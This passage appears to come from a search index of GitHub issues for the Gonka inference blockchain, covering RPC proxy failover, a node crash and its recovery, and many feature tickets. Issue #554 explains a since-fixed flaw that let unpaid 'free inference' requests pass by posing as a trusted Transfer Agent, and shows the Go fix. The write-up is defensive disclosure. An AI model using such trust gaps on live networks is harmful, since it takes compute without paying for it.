"}, {"location": "community/issues/00520-fix-grpc-endpoint-for-cosmostation-wallet-and-mintscan-explo/", "title": "#520 — Fix gRPC Endpoint for Cosmostation wallet and Mintscan explorer dashboard", "text": "Fix gRPC Endpoint for Cosmostation wallet and Mintscan explorer dashboard #520 Closed @tcharchian opened 2026-01-06 00:34 UTC 1 comment Updated 2026-01-29 19:21 UTC(empty)
"}, {"location": "community/issues/00520-fix-grpc-endpoint-for-cosmostation-wallet-and-mintscan-explo/#comments-1", "title": "💬 Comments (1)", "text": "@GLiberman commented 2026-01-08 18:32 UTChttps://github.com/gonka-ai/gonka/pull/528
🔄 Auto-synced from Issue #520 every hour.
"}, {"location": "community/issues/00521-create-a-proxy-endpoint-that-aggregates-multiple-internal-rp/", "title": "#521 — Create a proxy endpoint that aggregates multiple internal RPC nodes behind a single public-facing address (for crypto wallets)", "text": "Create a proxy endpoint that aggregates multiple internal RPC nodes behind a single public-facing address (for crypto wallets) #521 Closed @tcharchian opened 2026-01-06 00:34 UTC 7 comments Updated 2026-06-04 19:10 UTC@GLiberman @gmorgachev please evaluate how viable this solution would be.
Current issue with wallet connections: At the moment, wallets can be configured to use only a single address. If that address becomes unavailable, the wallet stops working.
For example, this happened when 6block shut down their node 3, and Keplr was no longer able to connect.
Proposed idea: Introduce a proxy endpoint that sits in front of all available HTTPS endpoints (6block, Hyperfusion, PS, etc). This way, if individual nodes go offline, wallets would still be able to operate without interruption.
Wdyt?
CC @kotelnikova
"}, {"location": "community/issues/00521-create-a-proxy-endpoint-that-aggregates-multiple-internal-rp/#comments-7", "title": "💬 Comments (7)", "text": "@tcharchian commented 2026-01-23 19:23 UTC@kotelnikova, could you please share the technical requirements?
@Ryanchen911 commented 2026-06-03 02:19 UTCI'll take it, thank you! @tcharchian
@gonkalabs commented 2026-06-03 22:32 UTCHi!
Just to add some context from our side: https://rpc.gonka.gg acts as a routing layer in front of multiple RPC upstreams. It routes traffic between our own RPC nodes (we have multiple own feather rpc nodes) and node1.gonka.ai-node3.gonka.ai, periodically health-checks each upstream, and automatically fails over when one of them becomes unavailable.
The routing priority is set to prefer our own Feather RPC nodes first, so we do not put unnecessary load on the core gonka.ai RPC infrastructure. The upstream pool can be extended if needed to almost any size.
At the moment, we are processing several million RPC requests per day through our rpc layer, which is roughly 20% of the current capacity. Capacity is mostly limited by server resources, so we can scale it up if traffic grows.
@tcharchian commented 2026-06-03 22:47 UTC@gonkalabs thanks, this makes sense. Would it be possible to extend the upstream pool with for example 6block and Hyperfusion, as fallback upstreams as well?
Do your health checks only verify availability, or do they also check whether the upstream is lagging behind? For wallet reliability, it would be important to fail over not only when a node is down, but also when it is stale.
@gonkalabs commented 2026-06-03 23:09 UTC@tcharchian Yes, we can extend the upstream pool with more members: hyperfusion, 6block - no problem!
Yes, we test chain-tip lag of upstreams as well as latency and general up/down status, so stale detection is one of the criteria when service selects the upstream for a request
@tcharchian commented 2026-06-03 23:26 UTC@gonkalabs thanks, please let me know once you add more members
@gonkalabs commented 2026-06-04 18:51 UTC@gonkalabs we added Hyperfusion and 6block rpc to the upstream list!
Bellow is a diagram of routing. All nodes are latency, tip-tested.
Also, we significantly encreased rpc throughput, and made service completely work without any api keys and without any limits! So anyone can use this routing layer to access the combined stability of many upstreams!
🔄 Auto-synced from Issue #521 every hour.
"}, {"location": "community/issues/00522-add-support-for-text-to-video-models-and-inference-to-the-ne/", "title": "#522 — Add support for text-to-video models and inference to the network", "text": "Add support for text-to-video models and inference to the network #522 Open @tcharchian opened 2026-01-06 00:34 UTC 0 comments Updated 2026-01-06 00:34 UTC(empty)
🔄 Auto-synced from Issue #522 every hour.
"}, {"location": "community/issues/00527-node-resync-from-snapshot-caused-missed-inference-tasks-due-/", "title": "#527 — Node resync from snapshot caused missed inference tasks due to large application.db", "text": "Node resync from snapshot caused missed inference tasks due to large application.db #527 Closed @bingcongxihaha opened 2026-01-06 16:35 UTC 1 comment Updated 2026-01-22 00:08 UTCHi,
I encountered an issue with my node where the application.db grew too large. Because of this, I had to stop the node and resync it from a snapshot.
However, during the resync period, the node missed a significant number of inference tasks. I would like to ask:
Is there any way to recover or compensate for the missed inference tasks?
Or is there a recommended approach to avoid losing inference tasks when a resync is required due to a large application.db?
Any guidance or best practices would be greatly appreciated. Thanks in advance for your help.
"}, {"location": "community/issues/00527-node-resync-from-snapshot-caused-missed-inference-tasks-due-/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-01-22 00:08 UTCHi @bingcongxihaha! Unfortunately, no inference tasks that are missed while a node is offline (e.g. during resync) cannot be recovered or compensated retroactively. Inference assignment and PoC are performed in real time. If a node is not running and serving requests during that period, those inference opportunities are simply lost.
The goal is to prevent forced resyncs by controlling database growth and disk usage.
Cosmovisor creates a full backup of the .inference/data directory during upgrades. Make sure sufficient disk space is available. If disk usage is high, older backups in .inference can be safely removed. Large application.db files can be reduced using these techniques.
🔄 Auto-synced from Issue #527 every hour.
"}, {"location": "community/issues/00546-node-crash-decimal-precision-panic-in-reputation-calculation/", "title": "#546 — Node crash: Decimal precision panic in reputation calculation (v0.2.7-post1)", "text": "Node crash: Decimal precision panic in reputation calculation (v0.2.7-post1) #546 Closed @Olena opened 2026-01-12 10:29 UTC 3 comments Updated 2026-01-21 21:11 UTCNode crash: Decimal precision panic in reputation calculation (v0.2.7-post1) Summary Node running v0.2.7-post1 crashes with decimal precision panic during reputation calculation in the x/inference module, despite the BLS decimal precision fix included in this release. This indicates the v0.2.7-post1 fix is incomplete and does not cover all decimal precision issues.
Environment Node Version: inferenced:0.2.7-post1 Image SHA: sha256:9af277c0e464 (created 2026-01-08T20:35:33Z) Account: gonka1547gss5hs48tg024zg7cm3f4r747a8ed0mrgru Hardware: H100 GPU node OS: Ubuntu (Docker)
Error Details Panic Message panic: value '0.032335451875111843916048462901' exceeds max precision by -12 decimal places: max precision 18
Value Analysis:
Calculated value has 30 decimal places Cosmos SDK LegacyMustNewDecFromStr max: 18 decimal places Overflow: 12 decimal places
Crash Context [90m9:22AM[0m [32mINF[0m ReputationCalculated module=x/inference participantIndex=gonka1zzkxnpq2txntwh5eu49jk67x42yh8wystnkamy reputation=100 subsystem=EpochGroup
[90m9:22AM[0m [32mINF[0m Adding member address=gonka1zzkxnpq2txntwh5eu49jk67x42yh8wystnkamy models=[\"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\"] module=x/inference weight=6357
[90m9:22AM[0m [32mINF[0m Closing application.db module=baseapp
[90m9:22AM[0m [32mINF[0m Closing snapshots/metadata.db module=baseapp
panic: value '0.032335451875111843916048462901' exceeds max precision by -12 decimal places: max precision 18
goroutine 1 [running]:
cosmossdk.io/math.LegacyMustNewDecFromStr(...)
/go/pkg/mod/cosmossdk.io/math@v1.5.3/legacy_dec.go:212\ngithub.com/productscience/inference/x/inference/module.ApplyBLSGuardianSlotReservation(...)
Location:
Module: x/inference Subsystem: EpochGroup Operation: ReputationCalculated + Adding member Affected participant: gonka1zzkxnpq2txntwh5eu49jk67x42yh8wystnkamy
Crash Occurrences First crash: ~2026-01-01 at block 2,059,054 Second crash: 2026-01-12 at block 2,104,716
Both crashes occurred during epoch transitions when reputation calculations are performed.
Root Cause Analysis Known v0.2.7-post1 Fix (Incomplete) The v0.2.7-post1 release notes state:
\"Fix for BLS to prevent consensus panic from decimal precision overflow. shopspring/decimal divisions can produce >18 decimal places, causing LegacyMustNewDecFromStr to panic in ApplyBLSGuardianSlotReservation.\"
Issue: This fix only addresses ApplyBLSGuardianSlotReservation, but the panic occurs in reputation calculation during epoch group operations.
Affected Code Paths (Not Fixed) The following operations in x/inference still produce >18 decimal precision:
❌ Reputation calculation (ReputationCalculated) ❌ Weight assignment in epoch groups ❌ Member addition to sub-groups ✅ ApplyBLSGuardianSlotReservation (fixed in v0.2.7-post1)
Impact Severity: Critical - Complete node crash Frequency: During epoch transitions Downtime: ~1 hour (state sync recovery required) Data Loss: None (blockchain state recoverable) Scope: Affects nodes at specific block heights where calculations overflow
Reproduction Steps Run node with inferenced:0.2.7-post1 Sync to block height where reputation calculation for specific participants triggers Epoch transition executes reputation calculation Calculation produces value with >18 decimal precision LegacyMustNewDecFromStr panics Node crashes and enters restart loop
Current Workaround State Sync Recovery:
"}, {"location": "community/issues/00546-node-crash-decimal-precision-panic-in-reputation-calculation/#1-stop-crashed-node", "title": "1. Stop crashed node", "text": "docker compose stop node
"}, {"location": "community/issues/00546-node-crash-decimal-precision-panic-in-reputation-calculation/#2-clean-corrupted-data", "title": "2. Clean corrupted data", "text": "rm -rf .inference/data .inference/wasm
mkdir -p .inference/data
"}, {"location": "community/issues/00546-node-crash-decimal-precision-panic-in-reputation-calculation/#3-update-state-sync-trust-parameters", "title": "3. Update state sync trust parameters", "text": ""}, {"location": "community/issues/00546-node-crash-decimal-precision-panic-in-reputation-calculation/#use-recent-height-2000-and-corresponding-hash", "title": "(Use recent height - 2000 and corresponding hash)", "text": ""}, {"location": "community/issues/00546-node-crash-decimal-precision-panic-in-reputation-calculation/#4-restart-node-syncs-past-problematic-blocks", "title": "4. Restart node - syncs past problematic blocks", "text": "docker compose start node
Recovery Time: 30-45 minutes via state sync
Proposed Solution Immediate Fix Needed Apply the same decimalToLegacyDec() pattern from the BLS fix to ALL decimal operations in x/inference:
// Helper function (from v0.2.7-post1 BLS fix)
func decimalToLegacyDec(d decimal.Decimal) sdk.Dec {
// Truncate to 18 decimal places before conversion\n\nstr := d.StringFixed(18)\n\ndec, err := sdk.NewDecFromStr(str)\n\nif err != nil {\n\n // Handle error gracefully\n\n}\n\nreturn dec\n}
Apply to:
Reputation calculations in EpochGroup Weight assignments Reward distributions Any other LegacyMustNewDecFromStr conversions
Comprehensive Audit Needed Full x/inference module audit for all decimal operations Add validation before legacy dec conversion Regression tests for all precision-sensitive operations Graceful error handling instead of panics
Testing Unit tests with >18 decimal precision values Integration tests during epoch transitions Test with actual participant data that triggered crashes
Recommendations For v0.2.8 Release Complete decimal precision audit of x/inference module Apply StringFixed(18) truncation universally Add pre-conversion validation Comprehensive testing of reputation calculations Network-wide upgrade with fix
For Node Operators Until v0.2.8 is released:
Implement automated health monitoring Use state sync recovery on crashes Report additional crash occurrences to help identify edge cases
Additional Context Related Issues:
v0.2.7-post1 BLS fix (partial solution)
Related Documentation:
Cosmos SDK Decimal Precision Gonka Tokenomics
Stack Trace Location:
cosmossdk.io/math.LegacyMustNewDecFromStr
github.com/productscience/inference/x/inference/module
Request Please release v0.2.8 with a complete fix covering all decimal precision issues in the x/inference module, not just ApplyBLSGuardianSlotReservation.
Happy to provide additional logs, debugging assistance, or test the fix before release.
Reporter: Node operator with detailed logs and crash dumps available Status: ⚠️ Production node affected, automated recovery in place
"}, {"location": "community/issues/00546-node-crash-decimal-precision-panic-in-reputation-calculation/#comments-3", "title": "💬 Comments (3)", "text": "@patimen commented 2026-01-12 18:14 UTCCan you provide a full stack trace for the panic? I do not see any remaining uses of LegacyMustNewDecFromStr. For most of the chain, we only use shopspring decimals, not Legacy. In fact, I cannot find places where we use it outside of BLS and chainvalidation.go (and there for only one value quickly)
@Olena please take a look at the question above.
@gmorgachev commented 2026-01-21 21:11 UTCThe log above contains exact issue from ApplyBLSGuardianSlotReservation (0.032335451875111843916048462901 is exact number and error which was in initial issues) => with high probability it's not another issue If it'd be one more issue in inference module, the whole chain would halt. I assume 0.2.7 binary was used (e.g. .inference/cosmovisor directory was recreated or symlinks inside modified)
Closing if there is no new info
🔄 Auto-synced from Issue #546 every hour.
"}, {"location": "community/issues/00554-p2-free-inference-exploit/", "title": "#554 — [P2] Free inference exploit", "text": "[P2] Free inference exploit #554 Closed @akup opened 2026-01-14 12:30 UTC 4 comments Updated 2026-04-04 00:30 UTC Priority: Low"}, {"location": "community/issues/00554-p2-free-inference-exploit/#inference-request-processing-security-architecture-and-fix", "title": "Inference Request Processing: Security Architecture and Fix", "text": ""}, {"location": "community/issues/00554-p2-free-inference-exploit/#overview", "title": "Overview", "text": "This document explains the 2-phase inference request processing system and the security enhancement that prevents unauthorized free inference execution.
Provided exploit with a developer library that can send free inferences is provided here
"}, {"location": "community/issues/00554-p2-free-inference-exploit/#two-phase-request-processing", "title": "Two-Phase Request Processing", "text": ""}, {"location": "community/issues/00554-p2-free-inference-exploit/#phase-1-transfer-agent-ta-processing", "title": "Phase 1: Transfer Agent (TA) Processing", "text": "The Transfer Agent is responsible for the initial validation and routing of inference requests:
Balance Verification: The TA checks the requester's balance on-chain to ensure sufficient funds for the inference request.
On-Chain Transaction: The TA submits a MsgStartInference transaction to the blockchain, which:
Assigns an executor for the request
Request Forwarding: The TA forwards the modified request to the assigned executor, adding:
TransferAddress)PromptHash)TransferSignature)The Executor Agent processes the inference request and executes it:
Seed and InferenceId (added by TA)Original request payload
Trust Model: The executor trusts requests from TAs and does not re-check the requester's balance, assuming the TA has already performed this validation.
Execution: The executor:
MsgFinishInference to complete the transactionThe original implementation had a critical security flaw:
Executor Trust: The executor trusted any request that appeared to come from a TA (containing seed, InferenceId, and signature).
No TA Verification: The executor did not verify that the TA address (TransferAddress) belonged to an active epoch participant.
Exploitation Vector: An attacker could:
This vulnerability allowed unauthorized users to:
The fix adds a verification step in the executor's request validation to ensure that the TA is an active epoch participant.
"}, {"location": "community/issues/00554-p2-free-inference-exploit/#implementation", "title": "Implementation", "text": "The fix is implemented in the getAllowedPubKeysForExecutorRequests function, which is called during executor request validation:
func (s *Server) getAllowedPubKeysForExecutorRequests(ctx echo.Context, granterAddress string) ([]string, error) {\n if !s.isAddressActiveParticipantInCurrentEpoch(granterAddress) {\n return nil, fmt.Errorf(\"granter is not active in the current epoch\")\n }\n // ... rest of the function\n}\nThe isAddressActiveParticipantInCurrentEpoch function performs a two-level verification:
Cache Check: First checks a cached epoch group data to quickly filter out non-participants.
On-Chain Verification: Queries the current epoch group data to verify:
ValidationWeights listThis ensures that only validators who are:
can act as Transfer Agents.
"}, {"location": "community/issues/00554-p2-free-inference-exploit/#economic-incentive-model-proposal", "title": "Economic Incentive Model (proposal)", "text": "The fix leverages the existing economic incentive structure:
Risk of Ban: Active epoch participants risk being banned if they don't properly validate requests.
Reward Loss: Participants who fail to check requester balances can lose all rewards for the epoch.
Accountability: By restricting TA functionality to active participants, the system ensures that only entities with \"skin in the game\" can route inference requests.
Prevents Free Inference Abuse: Only active epoch participants can act as TAs, preventing unauthorized free inference execution.
Maintains Trust Model: The executor can still trust TA requests without re-checking balance, as TAs are now verified to be accountable participants.
Economic Security: The fix leverages existing economic incentives rather than adding complex technical checks.
Performance: The two-level check (cache + on-chain) balances security with performance.
isAddressActiveParticipantInCurrentEpoch() (line 593)getAllowedPubKeysForExecutorRequests() (line 621)validateFullRequest() (line 645)internal.NewEpochGroupDataCache() - Provides cached epoch participant dataQueryCurrentEpochGroupData() - On-chain verification of active participantspotentially blocked by https://github.com/gonka-ai/gonka/pull/542, investigation is needed
@gmorgachev commented 2026-03-12 16:46 UTCpostponing to 0.2.12+
@tcharchian commented 2026-04-03 22:21 UTC@akup, probably, this issue could be canceled?
@akup commented 2026-04-04 00:30 UTCAll inferences requests attacks are legacy and should be focused on devshards
🔄 Auto-synced from Issue #554 every hour.
"}, {"location": "community/issues/00557-remove-extraneous-community-account/", "title": "#557 — Remove extraneous community account", "text": "Remove extraneous community account #557 Closed @patimen opened 2026-01-14 20:18 UTC 0 comments Updated 2026-01-15 21:29 UTCFunds associated should be burned
🔄 Auto-synced from Issue #557 every hour.
"}, {"location": "community/issues/00558-p2-urls-with-chatcompletions-and-completions-for-open-router/", "title": "#558 — [P2] URLs with `/chat/completions` and `/completions` for Open Router", "text": "[P2] URLs with `/chat/completions` and `/completions` for Open Router #558 Closed @tcharchian opened 2026-01-14 20:40 UTC 3 comments Updated 2026-04-08 16:51 UTCProvide a minimal but verifiable example that demonstrates Gonka’s inference capability via standard OpenAI-compatible endpoints, suitable for validation and review by openrouter.ai. We need to run a simple inference and provide publicly accessible URLs for the following endpoints: - /completions - /chat/completions
These endpoints are required for listing Gonka as an inference vendor on openrouter.ai.
Requirements - The inference should be very simple (e.g. a basic prompt like asking about the weather). - The URLs must return real inference results, not mock data.
Inference logs for the provided URLs must: - Be readable - Remain accessible for a reasonably long period of time - Just a minimal, clear demonstration of how to query the API
Must be openAI-compliant and return usage for both stream and non-stream
Before implementation, please review OpenRouter documentation and any relevant provider integration requirements. This will help ensure full compatibility and avoid iteration during validation.
"}, {"location": "community/issues/00558-p2-urls-with-chatcompletions-and-completions-for-open-router/#comments-3", "title": "💬 Comments (3)", "text": "@tcharchian commented 2026-01-23 01:14 UTC@x0152 feel free to ask @kotelnikova any questions here as well
@libermans commented 2026-02-18 01:17 UTCShould it work with no \"request signing\" needed? With \"api key\" requests? Do we have requirements from them? @kotelnikova @tcharchian
@tcharchian commented 2026-02-19 03:20 UTCAfter review https://github.com/gonka-ai/gonka/pull/614, the merge is temporarily paused. A community broker must be identified to serve as an intermediary between OpenRouter and Gonka. Once that structure is defined, the required adjustments on the integration side will become clearer.
In particular, this will determine whether separate endpoints (for example, with /openrouter in the address) are necessary, or whether a different architectural approach would be more appropriate.
Further feedback and next steps will be shared once the broker setup is clarified.
cc: @libermans @kotelnikova @x0152
🔄 Auto-synced from Issue #558 every hour.
"}, {"location": "community/issues/00560-p2-finalizing-the-websocket-merge-with-call-back-new-vllm-wi/", "title": "#560 — [P2] Finalizing the WebSocket (merge with `call_Back`, new vLLM will require python side implementation)", "text": "[P2] Finalizing the WebSocket (merge with `call_Back`, new vLLM will require python side implementation) #560 Open @tcharchian opened 2026-01-15 00:34 UTC 5 comments Updated 2026-06-24 01:06 UTC Priority: Low(empty)
"}, {"location": "community/issues/00560-p2-finalizing-the-websocket-merge-with-call-back-new-vllm-wi/#comments-5", "title": "💬 Comments (5)", "text": "@tcharchian commented 2026-01-24 00:13 UTC@x0152 is taking ownership of this issue. Please try to assign this issue to yourself
@tcharchian commented 2026-01-27 18:42 UTCWIP https://github.com/x0152/gonka/tree/fix/ws-finalize @patimen @x0152
@x0152 commented 2026-01-28 11:23 UTCcommenting to get assigned
@tcharchian commented 2026-03-21 01:33 UTCHey @x0152 @akup, it would be great if the two of you could align on the next steps for this task and make the key decisions together. If you are able to move it forward independently, this task could be considered for inclusion in v0.2.12. But overall, this is more of a nice-to-have than a must-have.
@tcharchian commented 2026-05-21 22:53 UTCHey @x0152, it would be great you could make a decision on the next steps for this task. @patimen John can help answer any questions if needed. If you are able to move it forward independently, this task could be considered for inclusion in v0.2.14. But overall, this is more of a nice-to-have than a must-have.
🔄 Auto-synced from Issue #560 every hour.
"}, {"location": "community/issues/00561-implementing-punishment-statistics-based-on-on-chain-data/", "title": "#561 — Implementing punishment statistics based on on-chain data", "text": "Implementing punishment statistics based on on-chain data #561 Closed @tcharchian opened 2026-01-15 00:36 UTC 1 comment Updated 2026-02-10 21:39 UTC(empty)
"}, {"location": "community/issues/00561-implementing-punishment-statistics-based-on-on-chain-data/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-01-24 00:03 UTC@0xMayoor is taking ownership of this task. please try to assign this issue on yourself
🔄 Auto-synced from Issue #561 every hour.
"}, {"location": "community/issues/00562-getepochmodel-in-validation-should-use-inference-epoch/", "title": "#562 — GetEpochModel in validation should use inference epoch", "text": "GetEpochModel in validation should use inference epoch #562 Closed @x0152 opened 2026-01-15 10:00 UTC 1 comment Updated 2026-02-06 00:58 UTCFollow-up to #553. Line 68 uses GetEpochModel (current epoch) instead of GetEpochModelForEpoch(ctx, inference.EpochId, inference.Model)
"}, {"location": "community/issues/00562-getepochmodel-in-validation-should-use-inference-epoch/#comments-1", "title": "💬 Comments (1)", "text": "@DimaOrekhovPS commented 2026-02-06 00:58 UTCResolved with #545
🔄 Auto-synced from Issue #562 every hour.
"}, {"location": "community/issues/00564-eliminate-chain-panics-and-hard-fail-paths-in-consensus-and-/", "title": "#564 — Eliminate chain panics and hard-fail paths in consensus and accounting", "text": "Eliminate chain panics and hard-fail paths in consensus and accounting #564 Closed @tcharchian opened 2026-01-15 19:47 UTC 0 comments Updated 2026-01-20 17:53 UTC(empty)
🔄 Auto-synced from Issue #564 every hour.
"}, {"location": "community/issues/00565-reward-settlement-correctness-negative-balance-prevention/", "title": "#565 — Reward settlement correctness; negative balance prevention", "text": "Reward settlement correctness; negative balance prevention #565 Closed @tcharchian opened 2026-01-15 19:51 UTC 0 comments Updated 2026-01-20 17:51 UTC(empty)
🔄 Auto-synced from Issue #565 every hour.
"}, {"location": "community/issues/00566-epoch-and-timestamp-consistency-across-inference-validation-/", "title": "#566 — Epoch and timestamp consistency across inference, validation, and claims", "text": "Epoch and timestamp consistency across inference, validation, and claims #566 Closed @tcharchian opened 2026-01-15 20:00 UTC 1 comment Updated 2026-02-09 20:46 UTC(empty)
"}, {"location": "community/issues/00566-epoch-and-timestamp-consistency-across-inference-validation-/#comments-1", "title": "💬 Comments (1)", "text": "@patimen commented 2026-01-22 22:38 UTCWe have fixes for this, but I want to again revisit it and review it more carefully for v0.2.9
🔄 Auto-synced from Issue #566 every hour.
"}, {"location": "community/issues/00567-missed-validations-recovery-system/", "title": "#567 — Missed validations recovery system", "text": "Missed validations recovery system #567 Closed @tcharchian opened 2026-01-15 20:05 UTC 0 comments Updated 2026-01-15 20:05 UTC(empty)
🔄 Auto-synced from Issue #567 every hour.
"}, {"location": "community/issues/00568-db-handling-improvements/", "title": "#568 — DB handling improvements", "text": "DB handling improvements #568 Closed @tcharchian opened 2026-01-15 21:05 UTC 0 comments Updated 2026-01-15 21:58 UTC(empty)
🔄 Auto-synced from Issue #568 every hour.
"}, {"location": "community/issues/00569-switch-to-bytes-for-storage/", "title": "#569 — Switch to bytes for storage", "text": "Switch to bytes for storage #569 Closed @tcharchian opened 2026-01-15 21:08 UTC 0 comments Updated 2026-01-15 22:08 UTC(empty)
🔄 Auto-synced from Issue #569 every hour.
"}, {"location": "community/issues/00570-production-grade-proxy-ssl-and-wallet-compatible-endpoints/", "title": "#570 — Production-grade proxy, SSL, and wallet-compatible endpoints", "text": "Production-grade proxy, SSL, and wallet-compatible endpoints #570 Closed @tcharchian opened 2026-01-15 21:09 UTC 0 comments Updated 2026-01-21 00:25 UTC(empty)
🔄 Auto-synced from Issue #570 every hour.
"}, {"location": "community/issues/00571-improve-performance-of-mlnode-support-blackwell/", "title": "#571 — Improve performance of MLNode, support Blackwell", "text": "Improve performance of MLNode, support Blackwell #571 Closed @tcharchian opened 2026-01-15 21:13 UTC 0 comments Updated 2026-01-15 22:08 UTC(empty)
🔄 Auto-synced from Issue #571 every hour.
"}, {"location": "community/issues/00572-multi-node-testing/", "title": "#572 — Multi-node testing", "text": "Multi-node testing #572 Closed @tcharchian opened 2026-01-15 21:16 UTC 0 comments Updated 2026-01-15 21:17 UTC(empty)
🔄 Auto-synced from Issue #572 every hour.
"}, {"location": "community/issues/00573-governance-owned-leftovers-add-genesis-guardian-developer-ac/", "title": "#573 — Governance-owned leftovers; add genesis guardian + developer access param groups", "text": "Governance-owned leftovers; add genesis guardian + developer access param groups #573 Closed @tcharchian opened 2026-01-15 21:18 UTC 0 comments Updated 2026-01-15 22:06 UTC(empty)
🔄 Auto-synced from Issue #573 every hour.
"}, {"location": "community/issues/00574-membership-for-correct-epoch-for-validation-requests/", "title": "#574 — Membership for correct epoch for Validation requests", "text": "Membership for correct epoch for Validation requests #574 Closed @tcharchian opened 2026-01-15 21:22 UTC 1 comment Updated 2026-01-22 22:38 UTC(empty)
"}, {"location": "community/issues/00574-membership-for-correct-epoch-for-validation-requests/#comments-1", "title": "💬 Comments (1)", "text": "@patimen commented 2026-01-22 22:38 UTCMerged and tested
🔄 Auto-synced from Issue #574 every hour.
"}, {"location": "community/issues/00575-updated-script-snippets-and-macos-tahoe-261-docker-settings/", "title": "#575 — Updated script snippets and MacOS Tahoe 26.1 Docker settings", "text": "Updated script snippets and MacOS Tahoe 26.1 Docker settings #575 Closed @tcharchian opened 2026-01-15 21:33 UTC 1 comment Updated 2026-01-20 17:51 UTC(empty)
"}, {"location": "community/issues/00575-updated-script-snippets-and-macos-tahoe-261-docker-settings/#comments-1", "title": "💬 Comments (1)", "text": "@maria-mitina commented 2026-01-15 21:50 UTC@tcharchian should we close this ticket since the PR has been merged?
🔄 Auto-synced from Issue #575 every hour.
"}, {"location": "community/issues/00576-standardize-floating-point-math/", "title": "#576 — Standardize floating point math", "text": "Standardize floating point math #576 Closed @tcharchian opened 2026-01-15 21:38 UTC 0 comments Updated 2026-01-20 17:51 UTC(empty)
🔄 Auto-synced from Issue #576 every hour.
"}, {"location": "community/issues/00577-unified-permission-handling/", "title": "#577 — Unified Permission handling", "text": "Unified Permission handling #577 Closed @tcharchian opened 2026-01-15 21:45 UTC 0 comments Updated 2026-01-15 21:45 UTC(empty)
🔄 Auto-synced from Issue #577 every hour.
"}, {"location": "community/issues/00578-remove-work-based-rewards-and-top-miner-logic/", "title": "#578 — Remove work based rewards and top miner logic", "text": "Remove work based rewards and top miner logic #578 Closed @tcharchian opened 2026-01-15 21:46 UTC 0 comments Updated 2026-01-15 21:46 UTC(empty)
🔄 Auto-synced from Issue #578 every hour.
"}, {"location": "community/issues/00579-schedule-for-mlnodes-to-serve-inference-during-poc/", "title": "#579 — Schedule for MLNodes to serve inference during PoC", "text": "Schedule for MLNodes to serve inference during PoC #579 Closed @tcharchian opened 2026-01-15 21:50 UTC 0 comments Updated 2026-01-15 21:50 UTC(empty)
🔄 Auto-synced from Issue #579 every hour.
"}, {"location": "community/issues/00580-liquidity-pool-wrapped-token-update/", "title": "#580 — Liquidity Pool & Wrapped Token Update", "text": "Liquidity Pool & Wrapped Token Update #580 Closed @tcharchian opened 2026-01-15 21:55 UTC 0 comments Updated 2026-01-15 21:55 UTC(empty)
🔄 Auto-synced from Issue #580 every hour.
"}, {"location": "community/issues/00581-support-testnet-on-small-gpus/", "title": "#581 — Support testnet on small GPUs", "text": "Support testnet on small GPUs #581 Closed @tcharchian opened 2026-01-15 21:59 UTC 0 comments Updated 2026-01-15 21:59 UTC(empty)
🔄 Auto-synced from Issue #581 every hour.
"}, {"location": "community/issues/00582-fix-tx-timeout/", "title": "#582 — Fix tx timeout", "text": "Fix tx timeout #582 Closed @tcharchian opened 2026-01-15 22:02 UTC 0 comments Updated 2026-01-15 22:03 UTC(empty)
🔄 Auto-synced from Issue #582 every hour.
"}, {"location": "community/issues/00583-ante-handler-to-filter-poc-transactions/", "title": "#583 — Ante Handler to filter PoC transactions", "text": "Ante Handler to filter PoC transactions #583 Closed @tcharchian opened 2026-01-15 23:12 UTC 0 comments Updated 2026-01-15 23:13 UTC(empty)
🔄 Auto-synced from Issue #583 every hour.
"}, {"location": "community/issues/00584-change-rtarget-and-scale-all-weight-by-25/", "title": "#584 — Change RTarget and scale all weight by 2.5", "text": "Change RTarget and scale all weight by 2.5 #584 Closed @tcharchian opened 2026-01-15 23:15 UTC 0 comments Updated 2026-01-15 23:16 UTC(empty)
🔄 Auto-synced from Issue #584 every hour.
"}, {"location": "community/issues/00585-add-gates-for-poc-participation-and-adding-participants/", "title": "#585 — Add gates for PoC participation and adding participants", "text": "Add gates for PoC participation and adding participants #585 Closed @tcharchian opened 2026-01-15 23:23 UTC 0 comments Updated 2026-01-15 23:24 UTC(empty)
🔄 Auto-synced from Issue #585 every hour.
"}, {"location": "community/issues/00586-connect-grpc-port-to-proxy/", "title": "#586 — connect grpc port to proxy", "text": "connect grpc port to proxy #586 Closed @tcharchian opened 2026-01-15 23:26 UTC 0 comments Updated 2026-01-21 19:50 UTC(empty)
🔄 Auto-synced from Issue #586 every hour.
"}, {"location": "community/issues/00587-rewards-epoch-117-bounty/", "title": "#587 — Rewards: Epoch 117 + Bounty", "text": "Rewards: Epoch 117 + Bounty #587 Closed @tcharchian opened 2026-01-15 23:29 UTC 0 comments Updated 2026-01-15 23:29 UTC(empty)
🔄 Auto-synced from Issue #587 every hour.
"}, {"location": "community/issues/00588-broken-payload-shouldnt-lead-to-missed-inferences/", "title": "#588 — Broken payload shouldn't lead to missed inferences", "text": "Broken payload shouldn't lead to missed inferences #588 Closed @tcharchian opened 2026-01-15 23:31 UTC 0 comments Updated 2026-01-15 23:31 UTC(empty)
🔄 Auto-synced from Issue #588 every hour.
"}, {"location": "community/issues/00589-dont-send-tx-if-node-is-behind/", "title": "#589 — Don't send TX if node is behind", "text": "Don't send TX if node is behind #589 Closed @tcharchian opened 2026-01-15 23:33 UTC 0 comments Updated 2026-01-21 19:50 UTC(empty)
🔄 Auto-synced from Issue #589 every hour.
"}, {"location": "community/issues/00590-improve-txmanager-reliability-add-block-based-deadlines-dont/", "title": "#590 — Improve TXManager reliability, add block-based deadlines, don't send invalid TXs", "text": "Improve TXManager reliability, add block-based deadlines, don't send invalid TXs #590 Closed @tcharchian opened 2026-01-15 23:35 UTC 0 comments Updated 2026-01-15 23:35 UTC(empty)
🔄 Auto-synced from Issue #590 every hour.
"}, {"location": "community/issues/00591-some-security-and-other-improvements-for-github-actions/", "title": "#591 — Some security and other improvements for github actions", "text": "Some security and other improvements for github actions #591 Closed @tcharchian opened 2026-01-15 23:36 UTC 0 comments Updated 2026-01-21 19:49 UTC(empty)
🔄 Auto-synced from Issue #591 every hour.
"}, {"location": "community/issues/00592-fix-gov-tests/", "title": "#592 — Fix gov tests", "text": "Fix gov tests #592 Closed @tcharchian opened 2026-01-15 23:38 UTC 0 comments Updated 2026-01-15 23:39 UTC(empty)
🔄 Auto-synced from Issue #592 every hour.
"}, {"location": "community/issues/00593-fix-tally-voting/", "title": "#593 — Fix tally voting", "text": "Fix tally voting #593 Closed @tcharchian opened 2026-01-15 23:44 UTC 0 comments Updated 2026-01-15 23:45 UTC(empty)
